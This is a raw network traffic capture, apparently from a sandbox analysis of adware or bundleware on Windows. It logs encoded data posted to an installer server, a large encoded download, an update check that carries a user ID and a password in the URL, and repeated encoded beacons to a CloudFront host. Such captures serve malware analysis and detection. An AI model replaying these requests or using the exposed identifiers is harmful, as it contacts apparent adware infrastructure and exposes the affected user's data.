Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:57 GMT

Content-Length: 84

7f9tE0jnpS8XPfKcUG8J67IvB1fp8CoeOuTzC0NI etzWV y3Sg5evOvLEBa8rg/Eybn10
ZNVryaQfrIkYotHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP002C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Tue, 24 Feb 2015 02:
01:57 GMT..Content-Length: 84..7f9tE0jnpS8XPfKcUG8J67IvB1fp8CoeOuTzC0N
I etzWV y3Sg5evOvLEBa8rg/Eybn10ZNVryaQfrIkYot....

POST /if?alpha=OgcnIFhtWFd7bgwCCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhqAVZDdgFZOUUAMh9KfFEaZBYXHitDNyxCIQFkGlVOaSRnWjxUZTRecXovVDA5Qy1yXDBjYCopYyQBYkZ5QyNqGmoEKWJxMghkPEBrRTgnDUYZUEhfeho3JlFzfi0PVSkKMz0HeB87Y1AIInkCaX8GJzYPYgxwLGAsLgpkT2QMCyUdfQ0Yf3gQFQJlAD8EdmYdQRcxDAUuTmIyXXNcIwBIMnk1JBF+FSJpA39xN1AoOVs8IAlnAWEgZnwoGncKZlAlJ141Qlo+LkJaJmAPNQw8UFMRWwgNAmgDRC9daFcmTDsIOGE3ByVAJXBQa215VHY1DC13T2sYImklOnNff0srAXZ2Sz9YXiYkVgRvPF9hXDUzWQIKNzMdKVl0bRRKfzUNGhl5QzsGeBMqak0Ma0QlVUFVT39KPQFWIGJjIhwVS2hjTCZf HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31452

Connection: Keep-Alive

Cache-Control: no-cache

alpha=LRUGIy06TT5vMQJLCQ5bOltFJWE2AAUOcRguEh84TwEmLw==|,|LRUGIy16a2cjAV0hCTNMC315EGE2ACBVQT44USNyRxUOaEQJKUYhEmsGdlkjIlJfGjV4PihNDG5WFSxuWQA6YyhFTCIgaQ==|,|LRUGIy0LUn0NFCJEFDhSDxkNYgIxfDYceBk4aDBldigrdWgMOEIEL1MISXQgHWdWKxFAUlkfKw8i|,|LRUGIy01Vg4obVgWBwh2O2ZzCwUrHUMSH1dSam0v|,|LRUGIy0yaX40Zz9bCRNsK1hcLmFYRRAcdAQlFBZ0chBKODh6bwQhSywjGjgKA3AGa1VYYWw8ZzMQJmI6KEB/V142YTU/Ing8QzZrVi9y|,|LRUGIy1oYmt0NV1ICQ5MNlVVLDUrRhEAcEsoWzxsehoOJXQhN1NFTj9WC0cVXhg8ZA==|,|LRUGIy0jAwY8KHFjCRNsK1hcLhJkVREMeEstRj5sOxcFaHUpN1JFH3YJTzVxYUBeNlBoMkBPCh8rDyI=|,|LRUGIy1wIi8HQCNmCRNsK1hcLhJkVREMeEt2FCJsa0UfZEMeIztrIxs=|,|LRUGIy0HGVg/DT58ExZ2L392Yid5Tw5PfgQmWTBvf1QGbHYteQtFC0cVXmsjAw==|,|LRUGIy0HGVg/DDt8ExZ2L35zYid5Tw5PfgQ
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:58 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP002C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Tue, 24 Feb 2015 02:01:58 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 302 Found

Connection: close

Date: Tue, 24 Feb 2015 02:01:23 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1410
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116
d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.
8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1">
;here</a>.</h2>..</body></html>....<!DOCTYP
E html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.
org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http:/
/VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Pag
e..</title></head>..<body>..    <form name="form1
" method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&Use
rID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=
10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2
d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&am
p;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&
amp;VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1" id="
form1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE
" value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..
    <div>..    ..    </div>..    </form>..</b<<< skipped >>>

GET /mg?alpha=MBJOInguIQwpFUgWYQh3D1sMMX1uAUoeOEsfEyUmZRZjdD1zLRlZFDRSJiwqGARWAXZDYT0kTy4QAnZsNjYvIw5eFXg7Cxc/WC4pWkFhGHdyDkhzJCYXG0N4RnxMfWQ2QxIpfWVuTkkWMlBSJClsBEt3BDByeWM3b0lffytkUW9zA14QBjt a0teLS9NGDhNcHUKXi5iKxQNCyYVcU0zBldyCzgx HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:54 GMT

Content-Length: 184392

20SyOt3BG9p5p5s5j0aCzBz2MtKOU 0tlr9z5GrL1An8aJHObaBGoaF9zVuem0D3PuWDIN
Yq5JYBozOJnUqHRvrnVOw0ndtE4Wr29hmRRtXHHeg3nd8UrwaI/m7lLKeMSat5yoRm9xDv
xRT4Y87UB8k 5YJ0iUvHkhG4dMGIQJJ5/qlUqWWPzUfma5qtEpUInMxEpj7JnBKjVNfpaP
UtjMFe/HWMnDK6RK/LQud82ZVYpRfap0/OJI2HE6c 2dQDrVPI0TONSrf5XeZ93fkAtwuB
3RrrN KYBYsqnvho9iGSiFaCQKzbbfI68ZMUsi7K1g7yOt Kb4kqlZkHvzrXzESGev7mAq
VyvdtE4WqarRqBCIOFSuI0w54UmReZ9GzlC5mIRrU 0thp7g/mxRT3f9jADfU7s9FkjWTc
kl7xM4OPQoooofEEtXOWllO2Zty1Ts1Uw4sc/SvU30v1PqbOTaJk051EqnTKhCrRBfCAWO
ppztkD6yzNt1KeZ8ySAaB2toFPl37091TsNJ3bROFq9vYZkUbVxx3oN53fFK8GiP5u5Syn
jEmrecqEZvcQ78UU GPO1AfJPuWCdIlLx5IRuHTBiECSef6pVKllj81H5muarRKVCJzMRK
Y yZwSo1TX6Wj1LYzBXvx1jJwyu02vy0LnfNmVWKUX2rhVziSNhxOnPtnUA61z6OwYtHOZ
1En4fOTLJ4AWhscP93md3we2Gpj4VOEllM8fsGmE0iSgGfuZU/142dM05jPkjiDWZtqbHv
90nYFTnW/V5AKpYI75QPFs07VOkgWD2g2oediOFaAZn/k4ui6QgVa7MMrbcOMf98sM6n7J
0h rJLOCZs4ylsVe8SKCnkTcMLnNPZNByZYK5G7M/1bORrzQG 01xZgDuReB7kbcCYSZSo
xphs0qrl71iFrrafLWD J9q4V3gGSD1RerJp6NVZtuzeQatXPJgEbhY9S7VpILncoNyjrF
lAeyNYX4eetqy4tEsm NkirrD eeWexono0E5jPiji7ObdeWEad0wZpTi2/mqQ3if4 YEq
08lLUAjRSKi1KmE/quJvVaz 179CDT1weNZZvXZvYZ8YdX8n/g6zL1MPKvd4F4jdtQpTeX
m0Swa/bgVPp4ntZEuC3d7wSRB5vMDNI63YgU9iyk5SWmd5ONEKMez6c40we3uXKfTq2cJK
AK4oVD 0Ld2gelZf eboAkjZIKozOYmkSaXPrpA6U00dRd GOUtRKbFozMJuUv2IsUlB6I
/nGicpeMSa15xJxh8Rj0hkT6LobRA ss9McgiXDOlAbxbJ2PTY1v5qkN4n PmBKlPou7Vo
Adn8xKvnn5tiKAVMG/auE8mc8f/FGB3XrtD yPQsJQ694M4zDmmF6wS9qFALY4j7hEjHny
6hicSr7UQfp8zPYYmDiz6gfxK96TUZQZgO177iGegwfyPp7fZPcZzYhb y6G2RfrM73JZ5
R4ypQGtjKtj02Lb7m/GLV6h5YK8mDK9BG6BZvAHuEY2ZgSvFTX 3vsO5TBB7dvjMln

<<< skipped >>>

POST /mg?alpha=Mw4XIkIoFHYgOHE2OAhNDEdVMUdtUngyXB8NKw== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 278

Host: install.sourceapp.info

alpha=Mw4XIkJibXgKBHUAOAhNDEdVMUdtHRMeAkgDSiUcZgo6dAdwMUBZLjdOfywQGxgPAUxAfWQkdS0MW3ZWNSp2IzRdCSE7MRQjAS4TWV04GE1xEhFzHiULQkNCRWAVfV41X0spR2ZyF0ksMUwLJBNvGBJ3PjNuIGMNbFUGfxFnTTZzOV0MXztEaFcHLRVOBGFNSnYWBy5YKAhUCxwWbRR2D3NSQjRbZ3IVSC0wThcmGm4EF3M2L318IBwnCU5iXDFYdyo8WSpAVCA0K0c=
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:56 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Tue, 24 Feb 2015 02:01:56 GMT..Content-Length: 0.
.

GET /25361.ashx?e=hXeqmv1IpemletMtAI4Nzd0cltsObsHAVb/Dms9RU7pAXdQqxJ1va3sc7hbJtTJHwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw4u3oGHN86wMFedaS6HkvNpR90anDedSCUX3PRbKmecay2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eAFIa3FqP-kvcIUq35IG_u0ygpEI09lIC1e5vwzASvHT_2voPSOn3A==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:02 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: eAFIa3FqP-kvcIUq35IG_u0yg
pEI09lIC1e5vwzASvHT_2voPSOn3A==......

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1NMG9E/tRz/bjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LvORJfZ9vmoi1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: E4wiaj2BCsjkSvuqIpH8jT_HvBsRptB9bt_tGVyvNCMk0ovS9MknAw==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMD2EmqgkTvADzP/J5k34FsIKYX3Ti/i3YNpW1wvQ8waSPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLJbqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPeAcfYBe5Vmlg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LuWRZ1m97ODxmzRAiEmIAw3PPRYa96-YQfAQVzB9xOC66g7F6fo6Vg==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMB88DdDMga8mrWmGAELYqXxs IILilpWF3eKoFLcIqulD17xyvkOFFgauMruqXrG8EE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvyTyZsHBj6T3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70D82t84QhMzI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nrM-hsovP6PjBAFhB9xrgUdrnve6TOppAN9HSndLsFvIIjHWQWe_uA==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCHb6ILV9x0eBQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRU9G0rDhsRNGGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhShT5siDjEhi6r6dmpd8In99kSHjLnneUtzqkAeJCtlEn7 xRJ8eGnvE= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mRuy_ztvwlDXdBH80GHHNuoeIcBiIIKxD4JAxUIbdQePcg-Fi0hkkg==

....

GET /25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDYmQbatAdAGMjKRY6Iofb7Uew8UljYWzcuazICVgT8r/43KRFxA3yGEwwxjLaXK3g1FfX12BNP4ozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /25361.ashx?e=2v0SNuZrMFzXE3CBqGdJyZ/TkbZ2czqASSZ3Rj0qX6eMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDbVAezdf3aKUQ2yDM6d7piii11NaYYxcNku1SXIq07tJg ABjx4/MVnPaT JG0G pNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Oa7yBJFhdltjBlRy9cJ_vkqK1FH0MH4uBi1BBoatWgvNm1QfaWLcaQ==

....

GET /25361.ashx?e=2v0SNuZrMFzXE3CBqGdJyZ/TkbZ2czqASSZ3Rj0qX6eMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1N5GFIJlTvuVx92dtdmPF80fhyJSKOx30vCYzjSA6JT3q75McRlGPFouIogWjdbx/ZHatAG0OlbnZVc2n8LByKlYnNfAHkSpDbVAezdf3aKUQo1JeSgT 5XmlmKz1/6dN13JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7enRf2FJED2fIbniWkHozisSw76w4fixw9yggMn-yQM7w5082S4Gig==

....

GET /25361.ashx?e=wlkQ3WKgYpSt /KxvF2yajaA6gTX1JJx7OXLse4BafTbQC nVTu53h5TX6K4Kv02td YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTmsjA3vU/0pg8RI437KwqDTOI1KKSr3FDX4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0t0w8n/18WDIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jLOkcJTJNUTrtPeP5Jk27RnULJTnm8_jlXkzsdnZ7JEcxdmzk3ETLg==

....

GET /25361.ashx?e=A3ANzFv7fWDiV tpLHtO 2mom3k2QR0/7OXLse4BafTbQC nVTu53h5TX6K4Kv02td YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTmsjA3vU/0pg8RI437KwqDTOI1KKSr3FDntO0hfxvipXLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqcl/Ws PcA i2e 30EIiBCCYhSK4oI05rb38XFohDsSs4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bMmMiipCJtQKB8qF50QZv-V3T7jNTKjMjdWPEmWwy7sFPk3NN5gb2w==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:05 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: bMmMiipCJtQKB8qF50QZv-V3T
7jNTKjMjdWPEmWwy7sFPk3NN5gb2w==......

GET /25361.ashx?e=N6dOqWm8Q96MfN93CMDrzyGvd gjBe89PoJkZj14EjR4E7mrr1h80jmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9d56ymZ4o9xQb6x14lCSqs761xNGUa9saMydwrVDP9I3IROPie2z40 X0A62pnUj3KYX3Ti/i3YMh066VndfnJPZ7qdg7Xwz6WIIn9KkMnX/3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GxsZiixDGVAyduNWfug8vHKLKCblBIHthvRIYOGmj0QUzk7NdLzvdQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:05 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: GxsZiixDGVAyduNWfug8vHKLK
CblBIHthvRIYOGmj0QUzk7NdLzvdQ==......

GET /25361.ashx?e=FwW11b 20b74YOj/qSs/oP49U5NJcaex1VMaOJFqXYpm5LT87ehXavGh154/D7lxG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcJPiqQQOytxzFzZbgWqtvBeT1qzZZa53712EELBUZsE3mXgn8p3jh6JpZis9f nTdhckeENmAaNkQvnHTuzbVp54dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Tuem34xi2EE-6s4-8Dsl0sG2Mvun6MpJFsR_kFD2EMtq938gUAXmsg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
